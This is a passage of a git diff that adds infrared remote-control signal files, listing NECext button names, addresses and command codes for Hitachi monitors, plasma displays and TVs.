VCR_MENU +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 53 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 53 00 00 00 +# +name: POSITION_(H) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 58 00 00 00 +# +name: POSITION_(V) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 59 00 00 00 +# +name: SIZE_(H) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5A 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5B 00 00 00 +# +name: VTR/TV_RESET +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5B 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5C 00 00 00 +# +name: VTR/TV_+ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5C 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5D 00 00 00 +# +name: VTR/TV_- +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5D 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5E 00 00 00 +# +name: VTR/TV_P/S_MODE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5E 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5F 00 00 00 +# +name: SIZE_(V) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 61 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 64 00 00 00 +# +name: VCR_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 70 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 70 00 00 00 +# +name: VCR_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 71 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 71 00 00 00 +# +name: VCR_> +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 72 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 72 00 00 00 +# +name: VCR_< +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 73 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir new file mode 100644 index 000000000..822678def --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: VTR_8 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 04 00 00 00 +# +name: VTR_9 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 05 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: VTR_F.FWD/V.SRCH_>> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 09 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: VTR_REW/V.SRCH_<< +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0A 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0B 00 00 00 +# +name: VTR_STOP_[] +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0B 00 00 00 +# +name: VTR_0 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0C 00 00 00 +# +name: VTR_1 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0D 00 00 00 +# +name: VTR_2 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0E 00 00 00 +# +name: VTR_3 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 0F 00 00 00 +# +name: VTR/TV_F.ADV_> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 10 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 14 00 00 00 +# +name: VTR_PLAY_> +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 14 00 00 00 +# +name: VTR/TV +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 16 00 00 00 +# +name: VCR/TV +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 16 00 00 00 +# +name: VTR_POWER +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 17 00 00 00 +# +name: VTR_CHANNEL_V +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 18 00 00 00 +# +name: VTR_CHANNEL_^ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 19 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1A 00 00 00 +# +name: VTR_PAUSE/STILL_ +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1A 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1A 00 00 00 +# +name: VTR_4 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1C 00 00 00 +# +name: VTR_5 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1D 00 00 00 +# +name: VTR_6 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1E 00 00 00 +# +name: VTR_7 +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 1F 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 40 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 41 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 42 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 44 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 45 00 00 00 +# +name: COUNTER_REMAIN +type: parsed +protocol: NECext +address: 60 00 00 00 +command: 46 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/96,158.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/96,158.ir new file mode 100644 index 000000000..a68846a3f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/96,158.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 60 9E 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir new file mode 100644 index 000000000..1c48920ac --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: REC +type: parsed +protocol: NECext +address: 61 00 00 00 +command: 14 00 00 00 +# +name: VTR_RECORD +type: parsed +protocol: NECext +address: 61 00 00 00 +command: 14 00 00 00 +# +name: PL +type: parsed +protocol: NECext +address: 61 00 00 00 +command: 40 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir new file mode 100644 index 000000000..a729348ee --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 3E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/Plasma/80,173.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Plasma/80,173.ir new file mode 100644 index 000000000..9f36b81a1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/Plasma/80,173.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 00 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 01 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 02 00 00 00 +# +name: VOLYM_+ +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 03 00 00 00 +# +name: VOLYM_- +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 04 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 05 00 00 00 +# +name: PINP +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 06 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 07 00 00 00 +# +name: RGB1 +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 09 00 00 00 +# +name: RGB_1 +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 09 00 00 00 +# +name: RGB2 +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 0A 00 00 00 +# +name: RGB_2 +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 0A 00 00 00 +# +name: AV1 +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 0B 00 00 00 +# +name: AV2 +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 0C 00 00 00 +# +name: AV3 +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 0D 00 00 00 +# +name: AV4 +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 0E 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 12 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 13 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 14 00 00 00 +# +name: CURSOR_UPP +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 14 00 00 00 +# +name: DN +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 15 00 00 00 +# +name: CURSOR_NER +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 15 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 16 00 00 00 +# +name: GER +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 16 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 17 00 00 00 +# +name: NSTER +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 17 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 18 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 18 00 00 00 +# +name: SIZE +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 19 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 50 AD 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/12,251.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/12,251.ir new file mode 100644 index 000000000..d31f9ea9b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/12,251.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 81 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 84 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 85 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 86 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 87 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 88 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 89 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8B 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8C 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8D 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 8F 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 90 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 92 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 93 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 94 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 95 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 97 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: 99 00 00 00 +# +name: SVCS +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: E9 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: F0 00 00 00 +# +name: SCHED +type: parsed +protocol: NECext +address: 0C FB 00 00 +command: F6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/80,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/80,-1.ir new file mode 100644 index 000000000..d7d5c09fe --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/80,-1.ir @@ -0,0 +1,1202 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 04 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 04 00 00 00 +# +name: TV_8_(VWX) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 04 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 05 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 05 00 00 00 +# +name: TV_9_(YZ) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 05 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 06 00 00 00 +# +name: 100/ENT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 06 00 00 00 +# +name: E +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 06 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 06 00 00 00 +# +name: ENTER/100 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 06 00 00 00 +# +name: PIP_SURF +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 07 00 00 00 +# +name: PIP_CHANNEL +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 07 00 00 00 +# +name: SURF +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 07 00 00 00 +# +name: PIP_CH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 07 00 00 00 +# +name: ANT. +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 07 00 00 00 +# +name: AVX +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: ANT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: INPUT_NEXT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: INPUTS +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: INPUT_SOURCE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: TV_INPUT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: INPUT_SELECT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: LAST_CHAN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: LAST_CHANNEL +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: LAST_CH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: LST-CH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: PREV._CHANNEL +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: TV_LAST_CH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0B 00 00 00 +# +name: TV_MUTE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0C 00 00 00 +# +name: TV_0_(&!/) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0C 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0D 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0D 00 00 00 +# +name: TV_1_(ABC) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0D 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0E 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0E 00 00 00 +# +name: TV_2_(DEF) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0E 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0F 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0F 00 00 00 +# +name: TV_3_(GHI) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0F 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 10 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 10 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 10 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 10 00 00 00 +# +name: USER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 10 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 11 00 00 00 +# +name: SLEEP_(-) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 11 00 00 00 +# +name: -- +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 11 00 00 00 +# +name: DASH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 11 00 00 00 +# +name: C.S. +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 11 00 00 00 +# +name: OFF-TIMER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 11 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: TV_VOL_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: INPUT_RGB2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 13 00 00 00 +# +name: A/V_NET +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 14 00 00 00 +# +name: INPUT_A/V_NET +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 14 00 00 00 +# +name: ANT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 14 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: VOL_DOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: TV_VOL_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: INPUT_AV_2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 16 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 17 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 17 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 17 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 17 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL- +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: CHAN_DOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: CH_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: TV_CH_V +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL+ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: CHAN_UP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: CH_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: TV_CH_^ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1C 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1C 00 00 00 +# +name: TV_4_(JKL) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1C 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1D 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1D 00 00 00 +# +name: TV_5_(MNO) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1D 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1E 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1E 00 00 00 +# +name: TV_6_(PQR) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1E 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1F 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1F 00 00 00 +# +name: TV_7_(STU) +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1F 00 00 00 +# +name: INPUT_VIDEO_6 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 20 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 21 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 21 00 00 00 +# +name: VID_1__SAT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 21 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 22 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 22 00 00 00 +# +name: VID_2__DVD +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 22 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 22 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 23 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 23 00 00 00 +# +name: VID_3__REC. +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 23 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 24 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 24 00 00 00 +# +name: VID_4 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 24 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 28 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 29 00 00 00 +# +name: INPUT_VIDEO_5 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 2C 00 00 00 +# +name: INPUT_VIDEO_1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 2D 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 2E 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 2E 00 00 00 +# +name: INPUT_VIDEO_3 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 2F 00 00 00 +# +name: MENU_ENTER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 33 00 00 00 +# +name: TV_SELECT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 33 00 00 00 +# +name: TV/RGB +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 35 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 35 00 00 00 +# +name: FAV_CH +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 38 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 3C 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 3C 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 3C 00 00 00 +# +name: VIDEO_5 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 3D 00 00 00 +# +name: VID_5 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 3D 00 00 00 +# +name: VIDEO_5 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 3D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 3E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 3F 00 00 00 +# +name: INPUT_VIDEO_4 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 44 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 45 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 46 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 47 00 00 00 +# +name: INPUT_AV_3 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 4F 00 00 00 +# +name: INPUT_VIDEO_2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 51 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 51 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 53 00 00 00 +# +name: TV_MENU +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 53 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 58 00 00 00 +# +name: DTV/SAT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 58 00 00 00 +# +name: PIP_SWAP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 59 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 59 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 59 00 00 00 +# +name: PIP_MODE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5A 00 00 00 +# +name: PIP_MODE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5A 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5A 00 00 00 +# +name: MOVE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5A 00 00 00 +# +name: PICTURE_RESET +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5B 00 00 00 +# +name: PICTURE_+ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5C 00 00 00 +# +name: +_(PLUS) +type: parsed +protocol: NECext +address: 50 00 00 